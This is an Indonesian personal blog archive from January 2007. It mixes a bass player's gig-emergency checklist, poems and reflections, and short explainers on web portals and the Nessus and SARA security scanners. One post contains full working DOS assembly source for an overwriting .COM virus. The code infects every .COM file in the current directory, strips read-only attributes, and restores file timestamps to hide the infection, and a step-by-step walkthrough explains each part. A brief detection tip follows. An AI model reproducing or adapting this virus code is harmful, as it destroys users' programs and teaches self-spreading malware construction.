’P3K Buat Pemain Bass

22 Januari 2007

Kenapa disebut ’P3k’ ? karena di panggung pun, seorang musisi bisa mengalami ’kecelakaan’, sehingga dia butuh ’pertolongan pertama pada kecelakaan’. Tentu saja, kecelakaan yang dimaksud tidak berhubungan dengan fisik si musisi, tapi lebih kepada instrumen yang dimainkannya. Sebab jika instrumennya ngadat di saat si musisi beraksi di atas panggung, ia tidak hanya akan mengacaukan kemasan penampilan secara keseluruhan. Tapi juga mempermalukan dirinya sendiri di depan para penonton.
Nah, jika vokalis selalu menyiapkan mikrofon, dramer dengan satu set stik cadangan dan gitaris dengan sejumlah kabel dan senar, maka basiss pun harus punya seabrek perlengkapan ’penyelamat’. Seperti diketahui, posisi basiss dalam sebuah band sangat vital. Bersama dramer, ia yang bertugas menjaga ritem. Pondasi dari sebuah komposisi musik atau lagu. Jika ditengah0tengah lagu tiba-tiba suara bassnya lenyap, si basiss harus tau apa yang harus segera dilakukan.
Berikut ini adalah sejumlah perlengkapan ’P3K’ yang harus disiapkan seorang pemain bass sebelum berangkat ke tempat manggung :
Kabel
Selalu siapkan kabel dalam tas ’perang’ kamu sebelum berangkat ke lokasi manggung. Ada tiga patokan kabel yang (pasti) kamu butuhkan, yakni satu untuk menghubungkan bass ke efek, satu untuk efek ke ampli dan satu lagi cadangan. Lebih banyak cadangan untuk masing-masing fungsi lebih bagus!
Senar
Mungkin kasus bass putus senar jarang terjadi, tapi kamu tetap harus selalu siap dengan senar cadangan. Kasus mengganti senar bukan Cuma dikarenakan pitus, tapi juga bisa karena kamu misalnya kurang sreg dengan kualitas suaranya. Nah, sebagai pelengkap, tentu saja kamu juga harus mempunyai alat pemotong senar (string cutter) dan alat pemutar senar khusus bass (string winder).
Elektornik
Semua alat yang berhubungan dengan jaringan elektronik harus tersedia. Mulai dari skering cadangan, baterai (9V, AA, dan AAA) cadangan hingga alat pengecek aliran listrik (multimeter). Alat terakhir ini penting untuk mengetahui status hubungan kabel, apakah bekerja sesuai dengan yang diinginkan atua tidak.
Peralatan
Pikirkan semua yang kira-kira bisa dipakai untuk mereparasi bass kamu ketika sedang berada dalam perjalanan. Mulai obeng, tang hingga kunci penyetel bridge dan truss rod (hex). Tapi jika kamu bisa membeli toolset Swiss Army untuk gitar, kamu bakal bisa lebih aman lagi. Mau lebih ’seram’ lagi, jangan lupa juga membawa solder. Tapi alat satu ini terbilang kurang aman, jadi mesti dipikir-pikir dulu sebelum memutuskan membawanya.
Lain-lain
Pastikan kamu juga membawa senter untuk mengecek peralatan kamu saat lampu panggung belum dinyalakan, pita perekat, beberapa pick, adaptor, alat penyetem (tuner), spidol, cairan pembersih (cleaner), dan tali penyandang bass (strap) cadangan. Satu lagi, jangan lupa juga membawa alat pemotong kuku. Hei, siapa tau kuku kamu selalu ’mengganggu’ konsentrasi saat asyik membetot bass.


juara dunia..

20 Januari 2007

merah-putih.jpg

kapan team sepak bola indonesia bakal menjadi juara dunia dalam kejuaran FIFA World Cup ?


Hubungan Manusia

20 Januari 2007

Segala macam hubungan antar manusia itu mirip pasir dalam genggamanmu. Jika berada pada telapak tangan yang terbuka, pasir itu akan tetap pada tempatnya. Namun, jika kau kepalkan tanganmu erat – erat untuk mempertahankannya, pasir itu akan menyembur melalui sela – sela jemarimu. Mungkin ada yang tersisa dalam tanganmu, tapi kebanyakan akan jatuh..


Ketiadaan…

20 Januari 2007

Tiga puluh jari – jari berputar di atas roda kereta
Bergerak mengelilingi satu titik pusat
Tapi lihatlah, tidak ada apapun di pusat
Dan justru karena itulah roda bekerja

Jika kau membuat mangkuk, buatlah ia bercekung
Kehampaan didalamnya itulah yang menjadikan ia berguna
Dalam rumah atau ruangan, ruang kosonglah –pintu dan jendela- yang menjadikannya berguna

Mereka semua memanfaatkan bahan pembuat dirinya untuk melakukan apa yang mereka lakukan, namun tanpa ketiadaan, semua tidak ada artinya..


Penerapan Praktis

20 Januari 2007

Si pria mengajarinya aritmatika,
Katanya itu itu adalah misinya,
Si pria menciumnya sekali, menciumnya dua kali dan berkata,
”Nah, itu namanya penjumlahan.”
Dan saat si pria mengecupnya lagi dan lagi
Tanpa banyak ribut,
Si wanita balas menciumnya dengan manis dan berkata,
”Nah, itu tadi pengurangan.”

Lalu si pria menciumnya, dan si wanita menciumnya,
Tanpa ada penjelasan,
Dan keduanya tersenyum dan berkata,
”Yang itu tadi perkalian.”
Lalu muncul sang ayah menyaksikan kejadian itu dan
Segera mengambil keputusan,
Sang ayah menendang si pria itu tiga blok jauhnya,
Dan berkata, ”Nah, yang ini pembagian panjang !”


Apakah sukses itu ?

20 Januari 2007

Sering dan banyak tertawa…
Mendapatkan rasa hormat dari orang pandai dan rasa kasih dari pacarmu…
Meraih penghargaan kritikus yang jujur dan tabah menghadapi pengkhianatan teman palsu…
Menghargai keindahan…
Menemukan sifat baik dalam diri orang lain…
Membuat dunia lebih baik, entah dengan anak yang sehat, sepetak kebun atau kondisi sosial yang lebih baik…

Mengetahui bahwa seseorang telah hidup lebih mudah karna keberadaamu…
Itulah arti sukses…


Imajinasi

20 Januari 2007

Salah satu tragedi besar di zaman kita adalah matinya imajinasi. Sebab apa lagi kelumpuhan kalau bukan itu ? Saya percaya bahwa imajinasi adalah paspor yang akan membawa kita ke dunia nyata. Ia adalah fase lain bagi sesuatu yang paling khas dari kita. Menghadapi diri kita, itulah yang sulit. Imajinasi adalah anugerah Tuhan untuk menjadikan usaha menguji diri masih dapat ditahan. Ia mengajarkan batasan – batasan diri kita dan bagaimana tumbuh melampaui batasan – batasan kita… imajinasi adalah tempat yang kita semua coba gapai … ?


Membuat Virus Program COM

20 Januari 2007

Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :
.Model Small
.Code
Org 100h
Label : Jmp Label2
Dataku Db ”Tempat Data Program Com”
Label2:
Mov AH,09h
Lea DX,Dataku
Int 21h
Int 20h
End Label1

Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan 100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.
Program Segment Prefix (PSP)
Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan. Berikut adalah strukture dari ke 100h byte PSP dari program :

Offset Sebanyak Untuk
00h 2 Byte Alamat pemanggilan interupsi 20h
02h 1 Word Alamat segment dari memory yang disediakan untuk program
04h 1 Byte Cadangan
05h 5 Byte Alamat pemanggilan interupsi 21h
0Ah 2 Word Vektor Interupsi 23h
0Eh 2 Word Vektor Interupsi 23h
12h 2 Word Vektor Interupsi 24h
16h 22 Byte Cadangan
2Ch 1 Word Alamat segment environment
2Eh 46 Byte Cadangan
5Ch 16 Byte FCB1
6Ch 16 Byte FCB2
80h 1 Byte Banyaknya karakter dari baris perintah
81h 127 Byte Command Line
Pembuatan Virus 001
Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.

; Catatan :
; Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada
; direktory aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx – > Asciiz”*.com”
Int 21h
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h ;
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;

mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal

mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start

Cara Kerja Virus :
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus

Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain.
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx – > Asciiz”*.com”
Int 21h
Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h
Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;
mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal
Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.
mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..

Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.
Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start

Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya”.

Mencegah Dan membasmi Virus 001
Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali dengan menghapus program Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find” dari dos untuk mencari kata-kata tersebut.
Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus.


Apakah itu Web Portal ?

20 Januari 2007

Web Portal merupakan suatu rancangan website yang membentuk environment spesifik. Fitur kuncinya adalah kapabilitas untuk memanajemen content secara terpadu dan langsung di atas web, dan dilakukan oleh administrator dan para member.
Dalam environment standar, sebuah Portal Server menawarkan beragam fitur/layanan interaktif bagi usrenya, seperti newsletter dan email, feedback form, tagboard, polling & voting system, forum diskusi, agenda & kalender, instant messaing, members list, IRC chat, IP banning, statistik site & server, image gallery, manajemen banner, direktori link-link, ruang berita & artikel, serach engine, ruang download & upload, dan sebagainya. Semua layanan tersebut sudah terkonfigurasi secara default pada saat instalasi portal.


Apakah Nessus ?

20 Januari 2007

Orang sering memandang security scanner sebagai sesuatu yang “kurang menarik” dibandingkan dengan tool-tool penyusupan lainnya. Nah, disini Nessus merupakan security scanner yang memiliki banyak fitur yang cukup menantang. Nessus akan membantu kita untuk menemukan backdoor, sebelum seorang penyusup mengambil keuntungan dari hole tersebut. Berada dibawah lisensi GPL, Nessus telah berjalan pada Linux, Free/Open/Net BSD, Solaris, HP-UX, Irix, dan sejumlah platform lainnya. Sementara di sisi client tersedia juga untuk Windows dan applet java. Nessus, yang awalnya dikembangkan oleh Renaud Deraison, telah berjalan dengan baik sejak April 1998, dan memiliki lebih dari 1200 pemeriksaan keamanan (yang terus bertambah).
Laporan dari Nessus bisa diekspor ke bermacam format (.nsr, LaTex, HTML, XML, “spiffy” HTML, teks). LaTex dan “spiffy” HTML menjadi format siap pakai.
Proyek Nessus sendiri dikembangkan sejak 1998. Pada saat itu security scanner gratis terlengkap yang ada adalah SATAN., yang sudah banyak ketinggalan. Tentu saja ada produk komersial lainnya yang cukup mahal. Sebagian besar pengembangan Nessus di danai oleh Tenable Network Security (http://www.tenablesecurity.com/) dan sejumlah besar orang telah berkontribusi dalam waktu luang mereka.
Nessus mencoba menemukan permasalahan keamanan dengan menghubungkan target lewat IP dan mensimulasikan bermacam protokol aplikasi. Misal, saat menguji web server , Nessus akan berperilaku sebagai web browser (http), saat menguji Windows file server, Nessus akan berperilaku sebagai Windows client(SMB). Kebanyakn pekerjaan di atas dilakukan oleh script NASL, dimana setiap script bisa melakukan suatu tugas spesifik.
Nessus bisa dikatakan melakukan inteligent scanning, artinya ia tidak akan berasumsi bahwa suatu layanan berada dalam prot yang tetap. Misal jika kita menjalankan web server pada port 9999, maka Nessus tetap akan bisa mendeteksinya. Ia juga tidak akan menentukan vulnerabilitas dari versi suatu service, tetapi akan melakukan eksploitasi langsung.


Apakah SARA ?

20 Januari 2007

SARA (Security Auditor’s Research Assistant), yang disebut juga SUS (SARA Unique Software) merupakan “keturunan” dari SATAN (Security Administrator Tool for Analyzing Networks atau Security Analysis Tool for Auditing Networks). SATAN sendiri dikembangkan oleh Dan Farmer, pakar keamanan komputer di San Fransisco, California, dan Wietse Venema, yang mengajar di Eindhoven University of Technology, dan bekerja di IBM T.J. Watson Research Center. Pada awal peluncuran di tahun 1995, SATAN cukup menghebohkan dunia, apalagi internet saat itu mulai berkembang pesat.
SATAN memang sudah banyak ketinggalan. Seperti komentar Nick Christension mengenai SATAN “…there is no obscuring its presence. It announces itself like a rock concert to the scanned machine’s log file”. Tetapi ia mempelopori kelahiran tool-tool lainnya semacam SARA, SAINT, dan NESSUS. SATAN dipakai sebagai dasar security engine, arsitektur program dan dokumentasi.
SARA menambahkan ratusan tes baru pada SATAN, metode untuk bekerja pada lingkungan firewall, dan suatu report writer. SARA juga mengambil keuntungan dari adanya produk keamanan lainnya semacam port scanner NMAP, dan SAMBA SMB server.
Sejumlah orang yang tidak menyukai SATAN, yang terdengar kurang nyaman, memanggilnya dengan SANTA dengan kepanjangan yang hampir mirip.
SARA dikembangkan oleh Bob Todd, seorang software developer pada proyek SAINT (Security Administrator’s Integrated Network Tool) dengan tujuan untuk menyediakan tool yang tersedia gratis. SARA meningkatkan kemampuan SATAN dengan :
• Peningkatan user interface
• Pengujian vulnerability yang lebih up to date
• Terdapat juga produk komersial SARA Pro
Advanced Research, yang mengembangkan SARA, juga mengembangkan TARA (Tiger Analytical Research Assistant) system security scanner berdasarkan pada program Tiger Texas A&M University.
SARA dalam mode paling sederhana (default) akan memperoleh informasi mengenai remote host/network dengan memeriksa service semacam finger, NFS, NIS, ftp, tftp, rexd, dan service lainnya. Informasi yang diperoleh termasuk keberdaan service dan informasi jaringan lainnya seperti potensi kebocoran. Misal dalam bnetuk konfigurasi yang tidak tepat atau bug dalam sistem atau utility jaringan, juga kebijakan jaringan yang tidak aman. Kemudian SARA akan melaporkan rule-based system sederhana untuk menyelidiki setiap potensi permasalahan keamanan. User selanjutnya bisa menguji, melakukan query dan menganalisa keluaran dari browser HTML, semacam Mosaic, Netscape, atau Lynx. Meski tujuan utamanya adalah melakukan analisa implikasi keamanan dari hasil yang diperoleh, sejumlah informasi umum mengenai jaringan yang juga bisa diperoleh, misal topologi jaringan, service jaringan yang berjalan, tipe hardware dan software yang dipergunakan dalam jaringan.
Bagaimanapun, kekuatan utama SARA adalah dalam mode exploratory. Berdasarkan sekumpulan data awal, dan suatu aturan yang bisa dikonfigurasi oleh user, ia akan melakukan pengujian trust dan dependency dan melakukan iterasi kumpulan data pada host-host lainnya. Ini bukan hanya memungkinkan user untuk menganalisa jaringan atau host mereka sendiri, tetapi juga menguji implikasi nyata dari network trust dan service dan memberikan informasi yang perlu mengenai tingkat keamanan dari sistem yang berkaitan.